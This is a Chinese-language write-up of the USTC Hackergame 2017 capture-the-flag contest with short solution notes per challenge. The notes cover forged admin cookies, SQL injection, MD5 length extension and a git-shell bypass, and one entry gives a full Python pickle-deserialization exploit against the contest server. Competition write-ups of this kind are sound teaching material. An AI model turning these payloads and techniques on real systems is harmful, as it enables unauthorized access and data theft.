中国科学技术大学第四届信息安全大赛 —— USTC Hackergame 2017 WriteUp
比赛入口地址:http://hack.lug.ustc.edu.cn/
中科大校赛题目质量挺高,偏向算法,不过没有PWN:-) && (听说中科大学生数理基础不错)
第一次拿了AK,虽然不是第一个拿下,不过还是挺开心的。
看不见的字 (Point 100)
Kali 下直接 pdftotext 就可以了
科大学生家长的日常
题目链接的html页面默认马上跳转到中科大官网,直接 curl http://hack.lug.ustc.edu.cn/file/ustc.html
查看网页源代码, flag 就躺在里面
被入侵的云端
手工读16进制,根据IP、UDP报文头格式去读即可,或者直接 kali 下 hexdump
真假 flag
用 py 的内置函数 isalnum() 判断 {.+} 里的字符串即可
骚扰你的一位老学长
网页底部写着 Page generated 2017-10-13 22:14:22 PDT, by jemdoc.
,网上查下 jemdoc ,就能知道 flag 藏在 /index.jemdoc
云游戏?!
网页游戏代码来自谷歌,对比了一下,发现有这几行代码不是谷歌写的
alert("很高兴你能找到这个文件。不过这并不是你要的答案。但是我也不会让你完全失望。现在我想邀请你玩一个小游戏(只需要键盘方向键,上键开始)。原则上游戏的进度越长,就越接近答案,不过也会有欲速则不达的情况。答案的前12位有效数字(不带符号,标点)就是你需要的秘钥。你可以不相信我,但是你恐怕别无选择。我想,这还算是个公平的交易吧?");
var PARAM_A = 0.943745363;
var PARAM_B = 2.895467371;
var X = 5.0;
ACCELERATION: 0.1
// try to gain reward, the constant part of the reward is 2.4657676475
X -= 0.1* this.config.ACCELERATION * (4 * PARAM_A * X * X * X - 3 * PARAM_B * X * X);
根据题目提示,查到是“梯度下降法”
F(X) = PARAM_A * X * X * X * X - PARAM_B * X * X * X + 2.4657676475
F'(X) = 4 * PARAM_A * X * X * X - 3 * PARAM_B * X * X
没记错的话,求F(X)极小值即可
被加密的实验报告
我是X宝1元解密的,或者可以直接文件16进制搜索 flag
简单认证
改一下 Cookie 里的 role 为 admin 的 base64 值,访问 admin.php 就能看到 flag
flag 验证器
直接用 IDA 的 F5 反编译 main 函数即可,一个简单的异或加密
黑客猜奇偶
如果提交空的字符串过去,拼接后得到的最终MD5就是服务器的MD5
熟悉的声音
还记得南大学生根据记者采访视频听出周鸿祎的手机号码吧?
用 audacity 查看音频文件频谱图,根据 双音多频 DTMF
就能得到 flag
用户名查询系统
查看源代码,JS 代码里 md5() 里面可以调试出 签名值 是如何计算出来的,然后手动 SQL 注入即可
Hide and Seek
pickle 反序列化漏洞,不过有白名单,自己构造了一个 payload
#!/usr/bin/python3
import base64
import requests
s = b"\x80\x03chandies\nfile_contents\nq\x00X\x07\x00\x00\x00flag.pyq\x01\x85q\x02Rq\x03."
s = base64.b64encode(s)
s = str(s)[2:-1]
url = 'http://67.209.186.120:8888/?credential=%s' % s
r = requests.get(url)
print (r.text)
黑客猜奇偶升级版
md5 长度扩展攻击,用 hexpand 可以不需要提供 original_data 计算 md5
分享 pcat 大佬写的 hexpand安装说明
永恒的东风
用 audacity 查看音频文件频谱图,发现高频部分有两行,第一行是时钟周期(有或无都表示一个周期),第二行是数据周期(有表示1,无表示0)
乱七八糟
output.bin 文件用 binwalk -e
可以完成 zlib 解压,得到一个文本,改名为 source.perl
把开头的 eval 改成 print,另存为 source_modify.perl
,用 perl source_modify.perl
跑一下,得到 perl 源代码
分析源代码,可以知道 output.bin 由 四部分数据 组成,分别是
1. source.perl 经 zlib 压缩后的数据
2. flag 经过 32次 base64 后,再用 zstd 压缩,然后去除前后 8字节 后得到的数据
3. flag 经过 24次 base64 后,用 AES 加密后的数据
4. flag 经过 32次 base64 后,再用 zlib 压缩,然后去除前后 8字节 后得到的数据
把 source.perl 重新用 zlib 压缩一下,再与 output.bin 比较,“做减法”,即可分离出 2+3+4 的数据
不断调整 flag 长度,构造假 flag 进行 2+3+4 的数据加密过程,将结果的长度与分离出的 2+3+4 数据的长度比较,长度尽可能靠近原数据的长度,长度大概是 280,000 字节
AES 加密是分组加密,加密后的长度是固定增长(此处表达可能不准确),我们很容易知道加密之后的长度,即 3 数据的长度
现在只要知道 2 数据的长度(我们知道大概长度是 120,000),即可知道 4 数据的长度。
写个脚本爆破一下,用 2 和 4 作为 key 和 iv 给 3 进行 AES 解密,用 isalnum() 判断解密后的结果(排除后面30位,因为 base64 会补充 = 符号)
三教许愿池
lzma 解压得到两个 py 文件,根据提示知道是 DDH (Decisional Diffie-Hellman) 问题
网上找到这个 https://chris-wood.github.io/2016/06/03/DDH-Zp.html
可以用 勒让德符号 计算 二次剩余 判断 奇偶,区分出 g^xy
和 g^r
线索
用 IDA 可以看到几个 Hint,反编译走不通,可以走走调试
用 Ollydbg 调试,改汇编,把 防debug检测
那个 call 函数 nope 掉,然后 Print/OutputDebugString 输出 strncmp 那里的参数
保存修改后的新 exe,手工爆破即可得到 flag flxg{WTFi5Th1sRev3rse???}
自己的 Git 服务器
git shell 绕过,可以参考 https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/
Comments